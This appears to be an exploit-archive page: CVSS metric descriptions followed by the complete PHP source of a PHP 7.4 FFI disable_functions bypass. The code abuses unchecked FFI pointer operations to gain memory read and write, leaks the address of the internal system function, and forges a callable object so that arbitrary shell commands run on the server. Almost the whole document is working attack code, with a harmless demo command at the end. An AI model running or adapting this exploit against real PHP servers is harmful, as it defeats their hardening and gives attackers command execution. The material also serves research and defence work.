The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: PHP 7.4 FFI disable_functions Bypass
<?php
/*
FFI Exploit - uses 3 potential BUGS.
PHP was contacted and said nothing in FFI is a security issue.
Able to call system($cmd) without using FFI::load() or FFI::cdefs()
* BUG #1 (maybe intended, but why have any size checks then?)
no bounds check for FFI::String() when type is ZEND_FFI_TYPE_POINTER
(https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4411)
* BUG #2 (maybe intended, but why have any checks then?)
no bounds check for FFI::memcpy when type is ZEND_FFI_TYPE_POINTER
(https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4286)
* BUG #3
Can walk back CDATA object to get a pointer to its internal reference pointer using FFI::addr()
call FFI::addr on a CDATA object to get its pointer (also a CDATA object), then call FFI::addr
on the resulting ptr to get a handle to it's ptr, which is the ptr_holder for the original CDATA
object
the easiest way is to create cdata object, write target RIP (zif_system's address) to it
and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it
Exploit steps:
1. Use read/write to leak zif_system pointer
a. walk cdata object to leak handlers pointer ( in .bss )
b. scan .bss for pointer to a known value ( *.rodata ptr), that we know usually sits
right below a pointer to the .data.relro segment
c. Increment and read the .data.relro pointer to get a relro section leak
d. Using the relro section leak, scan up memory looking for the 'system' string that is
inside the zif_system relro entry.
e. once found, increment and leak the zif_system pointer
2. Hijack RIP with complete argument control
a. create a function pointer CDATA object using FFI::new() [not callable as it is
technically not a propper ZEND_FFI_TYPE_FUNC since it wasnt made with FFI::cdef()
b. Overwrite the object'd data with zif_system pointer
c. Overwrite the objects zend_ffi_type_kind with ZEND_FFI_TYPE_FUNC so that it is
callable with our own arguments
3. Create proper argument object to pass to zif_system (zend_execute_data .. )
a. Build out the zend_execute_data object in a php string
b. right after the object is the argument object itself (zval) which we must also
build. To do so we build our PHP_STRING in another FFI buffer, leak the pointer
and place it into a fake zval STRING object.
c. finally we can call zif_system with a controlled argument
NOTE: does NOT exit cleanly nor give command output -- both may be possible
Author: Hunter Gregal
Tested on:
- PHP 7.4.7 x64 Ubuntu 20, ./confiure --disable-all --with-ffi
- PHP 7.4.3 x64 Ubuntu 20 (apt install)
*/
ini_set("display_errors", "On");
error_reporting(E_ALL);
function pwn($cmd) {
function allocate($amt, $fill) {
// could do $persistent = TRUE to alloc on libc malloc heap instead
// but we already have a good read/write primitive
// and relying on libc leaks for gadgets is not very portable
// (custome compiled libc -> see pornhub php 0-day)
$buf = FFI::new("char [".$amt."]");
$bufPtr = FFI::addr($buf);
FFI::memset($bufPtr, $fill, $amt);
// not sure if i need to keep the CData reference alive
// or not - but just in case return it too for now
return array($bufPtr, $buf);
}
// uses leak to leak data from FFI ptr
function leak($ptr, $n, $hex) {
if ( $hex == 0 ) {
return FFI::string($ptr, $n);
} else {
return bin2hex(FFI::string($ptr, $n));
}
}
function ptrVal($ptr) {
$tmp = FFI::cast("uint64_t", $ptr);
return $tmp->cdata;
}
/* Read primative
writes target address overtop of CDATA object pointer,
then leaks directly from the CDATA object
*/
function Read($addr, $n = 8, $hex = 0) {
// Create vulnBuf which we walk back to do the overwrite
// (the size and contents dont really matter)
list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
// walk back to get ptr to ptr (heap)
$vulnBufPtrPtr = FFI::addr($vulnBufPtr);
/*// DEBUG
$vulnBufPtrVal = ptrVal($vulnBufPtr);
$vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal));
printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal));
printf("-------\n\n");
*/
// Overwrite the ptr
$packedAddr = pack("Q",$addr);
FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
// Leak the overwritten ptr
return leak($vulnBufPtr, $n, $hex);
}
/* Write primative
writes target address overtop of CDATA object pointer,
then writes directly to the CDATA object
*/
function Write($addr, $what, $n) {
// Create vulnBuf which we walk back to do the overwrite
// (the size and contents dont really matter)
list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
// walk back to get ptr to ptr (heap)
$vulnBufPtrPtr = FFI::addr($vulnBufPtr);
/*// DEBUG
$vulnBufPtrVal = ptrVal($vulnBufPtr);
$vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal));
printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal));
printf("-------\n\n");
*/
// Overwrite the ptr
$packedAddr = pack("Q",$addr);
FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
// Write to the overwritten ptr
FFI::memcpy($vulnBufPtr, $what, $n);
}
function isPtr($knownPtr, $testPtr) {
if ( ($knownPtr & 0xFFFFFFFF00000000) == ($testPtr & 0xFFFFFFFF00000000)) {
return 1;
} else {
return 0;
}
}
/* Walks looking for valid pointers
* - each valid ptr is read and if it
- points to the target return the address of the
- ptr and the location it was found
*/
//function getRodataAddr($bssLeak) {
function walkSearch($segmentLeak, $maxQWORDS, $target, $size = 8, $up = 0) {
$start = $segmentLeak;
for($i = 0; $i < $maxQWORDS; $i++) {
if ( $up == 0 ) { // walk 'down' addresses
$addr = $start - (8 * $i);
} else { // walk 'up' addresses
$addr = $start + (8 * $i);
}
//$leak = Read($addr, 8);
$leak = unpack("Q", Read($addr))[1];
// skip if its not a valid pointer...
if ( isPtr($segmentLeak, $leak) == 0 ) {
continue;
}
$leak2 = Read($leak, $n = $size);
//printf("0x%x->0x%x = %s\n", $addr, $leak, $leak2);
if( strcmp($leak2, $target) == 0 ) { # match
return array ($leak, $addr);
}
}
return array(0, 0);
}
function getBinaryBase($textLeak) {
$start = $textLeak & 0xfffffffffffff000;
for($i = 0; $i < 0x10000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = Read($addr, 7);
//if($leak == 0x10102464c457f) { # ELF header
if( strcmp($leak, "\x7f\x45\x4c\x46\x02\x01\x01") == 0 ) { # ELF header
return $addr;
}
}
return 0;
}
function parseElf($base) {
$e_type = unpack("S", Read($base + 0x10, 2))[1];
$e_phoff = unpack("Q", Read($base + 0x20))[1];
$e_phentsize = unpack("S", Read($base + 0x36, 2))[1];
$e_phnum = unpack("S", Read($base + 0x38, 2))[1];
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = unpack("L", Read($header, 4))[1];
$p_flags = unpack("L", Read($header + 4, 4))[1];
$p_vaddr = unpack("Q", Read($header + 0x10))[1];
$p_memsz = unpack("Q", Read($header + 0x28))[1];
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function getBasicFuncs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = unpack("Q", Read($data_addr+ ($i * 8)))[1];
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = unpack("Q", Read($leak))[1];
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = unpack("Q", Read($data_addr + (($i + 4) * 8)))[1];
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = unpack("Q", Read($leak))[1];
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function getSystem($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = unpack("Q", Read($addr))[1];
$f_name = Read($f_entry, 6) . "\0";
if( strcmp($f_name, "system\0") == 0) { # system
return unpack("Q", Read($addr + 8))[1];
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
// Convenient for debugging
function crash() {
Write(0x0, "AAAA", 4);
}
printf("\n[+] Starting exploit...\n");
// --------------------------- start of leak zif_system address
/* NOTE: typically we would leak a .text address and
walk backwards to find the ELF header. From there we can parse
the elf information to resolve zif_system - in our case the
base PHP binary image with the ELF head is on its own mapping
that does not border the .text segment. So we need a creative
way to get zif_system
*/
/* ---- First, we use our read to walk back to the our Zend_object,
// and get its zend_object_handlers* which will point to the
// php binary symbols zend_ffi_cdata_handlers in the .bss.
//
//_zend_ffi_cdata.ptr-holder - _zend_ffi_cdata.ptr.std.handlers == 6 QWORDS
//
// From there we search for a ptr to a known value (happens to be to the .rodata section)
// that just so happens to sit right below a ptr to the 'zend_version' relro entry.
// So we do some checks on that to confirm it is infact a valid ptr to the .data.relro.
//
// Finally we walk UP the relro entries looking for the 'system' (zif_system) entry.
(zend_types.h)
struct _zend_object { <-----typdef zend_object
zend_refcounted_h gc;
uint32_t handle; // may be removed ???
end_class_entry *ce;
const zend_object_handlers *handlers; <--- func ptrs
HashTable *properties;
zval properties_table[1];
};
(ffi.c)
typedef struct _zend_ffi_cdata {
zend_object std;
zend_ffi_type *type;
void *ptr; <--- OVERWRITE
void *ptr_holder; <--
zend_ffi_flags flags;
} zend_ffi_cdata;
*/
list($dummyPtr, $dummy) = allocate(64, 0x41);
// dummy buf ptr
$dummyPtrVal = ptrVal($dummyPtr);
// dummy buf ptr ptr
$dummyPtrPtr = FFI::addr($dummyPtr);
$dummyPtrPtrVal = ptrVal($dummyPtrPtr);
printf("Dummy BufPtr = 0x%x\n", $dummyPtrVal);
printf("Dummy BufPtrPtr = 0x%x\n", $dummyPtrPtrVal);
$r = leak($dummyPtr, 64, 1);
printf("Dummy buf:\n%s\n", $r);
printf("-------\n\n");
/*
// ------ Test our read and write
$r = Read($dummyPtrVal, 256, 1);
printf("Read Test (DummyBuf):\n%s\n", $r);
Write($dummyPtrVal, "CCCCCCCC", 8);
$r = Read($dummyPtrVal, 256, 1);
printf("Write Test (DummyBuf):\n%s\n", $r);
// ----------
*/
$handlersPtrPtr = $dummyPtrPtrVal - (6 * 8);
printf("_zend_ffi_cdata.ptr.std.handlers = 0x%x\n", $handlersPtrPtr);
$handlersPtr = unpack("Q", Read($handlersPtrPtr))[1]; // --> zend_ffi_cdata_handlers -> .bss
printf("zend_ffi_cdata_handlers = 0x%x\n", $handlersPtr);
// Find our 'known' value in the .rodata section -- in this case 'CORE'
// (backup can be 'STDIO)'
list($rodataLeak, $rodataLeakPtr) = walkSearch($handlersPtr, 0x400,"Core", $size=4);
if ( $rodataLeak == 0 ) {
// If we failed let's just try to find PHP's base and hope for the best
printf("Get rodata addr failed...trying for last ditch effort at PHP's ELF base\n");
// use .txt leak
$textLeak = unpack("Q", Read($handlersPtr+16))[1]; // zned_objects_destroy_object
printf(".textLeak = 0x%x\n", $textLeak);
$base = getBinaryBase($textLeak);
if ( $base == 0 ) {
die("Failed to get binary base\n");
}
printf("BinaryBase = 0x%x\n", $base);
// parse elf
if (!($elf = parseElf($base))) {
die("failed to parseElf\n");
}
if (!($basicFuncs = getBasicFuncs($base, $elf))) {
die("failed to get basic funcs\n");
}
if (!($zif_system = getSystem($basicFuncs))) {
die("Failed to get system\n");
}
// XXX HERE XXX
//die("Get rodata addr failed\n");
} else {
printf(".rodata leak ('CORE' ptr) = 0x%x->0x%x\n", $rodataLeakPtr, $rodataLeak);
// Right after the "Core" ptrptr is zend_version's relro entry - XXX this may not be static
// zend_version is in .data.rel.ro
$dataRelroPtr = $rodataLeakPtr + 8;
printf("PtrPtr to 'zend_verson' relro entry: 0x%x\n", $dataRelroPtr);
// Read the .data.relro potr
$dataRelroLeak = unpack("Q", Read($dataRelroPtr))[1];
if ( isPtr($dataRelroPtr, $dataRelroLeak) == 0 ) {
die("bad zend_version entry pointer\n");
}
printf("Ptr to 'zend_verson' relro entry: 0x%x\n", $dataRelroLeak);
// Confirm this is a ptrptr to zend_version
$r = unpack("Q", Read($dataRelroLeak))[1];
if ( isPtr($dataRelroLeak, $r) == 0 ) {
die("bad zend_version entry pointer\n");
}
printf("'zend_version' string ptr = 0x%x\n", $r);
$r = Read($r, $n = 12);
if ( strcmp($r, "zend_version") ) {
die("Failed to find zend_version\n");
}
printf("[+] Verified data.rel.ro leak @ 0x%x!\n", $dataRelroLeak);
/* Walk FORWARD the .data.rel.ro segment looking for the zif_system entry
- this is a LARGE section...
*/
list($systemStrPtr, $systemEntryPtr) = walkSearch($dataRelroLeak, 0x3000, "system", $size = 6, $up =1);
if ( $systemEntryPtr == 0 ) {
die("Failed to find zif_system relro entry\n");
}
printf("system relro entry = 0x%x\n", $systemEntryPtr);
$zif_systemPtr = $systemEntryPtr + 8;
$r = unpack("Q", Read($zif_systemPtr))[1];
if ( isPtr($zif_systemPtr, $r) == 0 ) {
die("bad zif_system pointer\n");
}
$zif_system = $r;
}
printf("[+] zif_system @ 0x%x\n", $zif_system);
// --------------------------- end of leak zif_system address
// --------------------------- start call zif_system
/* To call system in a controlled manner
the easiest way is to create cdata object, write target RIP (zif_system's address) to it
and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it
*/
$helper = FFI::new("char* (*)(const char *)");
//$helper = FFI::new("char* (*)(const char *, int )"); // XXX if we want return_val control
$helperPtr = FFI::addr($helper);
//list($helperPtr, $helper) = allocate(8, 0x43);
//$x[0] = $zif_system;
$helperPtrVal = ptrVal($helperPtr);
$helperPtrPtr = FFI::addr($helperPtr);
$helperPtrPtrVal = ptrVal($helperPtrPtr);
printf("helper.ptr_holder @ 0x%x -> 0x%x\n", $helperPtrPtrVal, $helperPtrVal);
// Walk the type pointers
//$helperObjPtr = $helperPtrPtrVal - (9 *8); // to top of cdata object
//printf("helper CDATA object @ 0x%x\n", $helperObjPtr);
$helperTypePtrPtr = $helperPtrPtrVal - (2 *8); // 2 DWORDS up the struct to *type ptr
//printf("helper CDATA type PtrPtr @ 0x%x\n", $helperTypePtrPtr);
$r = unpack("Q", Read($helperTypePtrPtr))[1];
if ( isPtr($helperTypePtrPtr, $r) == 0 ) {
die("bad helper type pointer\n");
}
$helperTypePtr = $r;
// Confirm it's currently ZEND_FFI_TYPE_VOID (0)
$r = Read($helperTypePtr, $n=1, $hex=1);
if ( strcmp($r, "00") ) {
die("Unexpected helper type!\n");
}
printf("Current helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_VOID (0)\n", $helperTypePtrPtr, $helperTypePtr);
// Set it to ZEND_FFI_TYPE_FUNC (16 w/ HAVE_LONG_DOUBLE else 15)
Write($helperTypePtr, "\x10", 1);
printf("Swapped helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_FUNC (16)\n", $helperTypePtrPtr, $helperTypePtr);
// Finally write zif_system to the value
Write($helperPtrVal, pack("Q", $zif_system), 8);
// --------------------------- end of leak zif_system address
// ----------------------- start of build zif_system argument
/*
zif_system takes 2 args -> zif_system(*zend_execute_data, return_val)
For now I don't bother with the return_val, although tehnically we could control
it and potentially exit cleanly
*/
// ----------- start of setup zend_execute_data object
/* Build valid zend_execute object
struct _zend_execute_data {
const zend_op *opline; /* executed opline
zend_execute_data *call; /* current call
zval *return_value;
zend_function *func; /* executed function
zval This; /* this + call_info + num_args
zend_execute_data *prev_execute_data;
zend_array *symbol_table;
void **run_time_cache; /* cache op_array->run_time_cache
}; //0x48 bytes
*/
//This.u2.num_args MUST == our number of args (1 or 2 apparantly..) [6 QWORD in execute_data]
$execute_data = str_shuffle(str_repeat("C", 5*8)); // 0x28 C's
$execute_data .= pack("L", 0); // this.u1.type
$execute_data .= pack("L", 1); // this.u2.num_args
$execute_data .= str_shuffle(str_repeat("A", 0x18)); // fill out rest of zend_execute obj
$execute_data .= str_shuffle(str_repeat("D", 8)); //padding
// ----------- end of setup zend_execute_data object
// ----------- start of setup argument object
/* the ARG (zval) object lays after the execute_data object
zval {
value = *cmdStr ([16 bytes] + [QWORD string size] + [NULL terminated string])
u1.type = 6 (IS_STRING)
u2.???? = [unused]
}
*/
/*
// Let's get our target command setup in a controlled buffer
// TODO - use the dummy buf?
// the string itself is odd. it has 16 bytes prepended to it that idk what it is
// the whole argument after the zend_execute_data object looks like
*/
$cmd_ = str_repeat("X", 16); // unk padding
$cmd_ .= pack("Q", strlen($cmd)); // string len
$cmd_ .= $cmd . "\0"; // ensure null terminated!
list($cmdBufPtr, $cmdBuf) = allocate(strlen($cmd_), 0);
$cmdBufPtrVal = ptrVal($cmdBufPtr);
FFI::memcpy($cmdBufPtr, $cmd_, strlen($cmd_));
printf("cmdBuf Ptr = 0x%x\n", $cmdBufPtrVal);
// Now setup the zval object itself
$zval = pack("Q", $cmdBufPtrVal); // zval.value (pointer to cmd string)
$zval .= pack("L", 6); // zval.u1.type (IS_STRING [6])
$zval .= pack("L", 0); // zval.u2 - unused
$execute_data .= $zval;
// ---------- end of setup argument object
// ----------------------- start of build zif_system argument
$res = $helper($execute_data);
//$return_val = 0x0; // // XXX if we want return_val control
//$res = $helper($execute_data, $return_val); // XXX if we want return_val control
// --------------------------- end of call zif_system
}
pwn("touch /tmp/WIN2.txt");
?>
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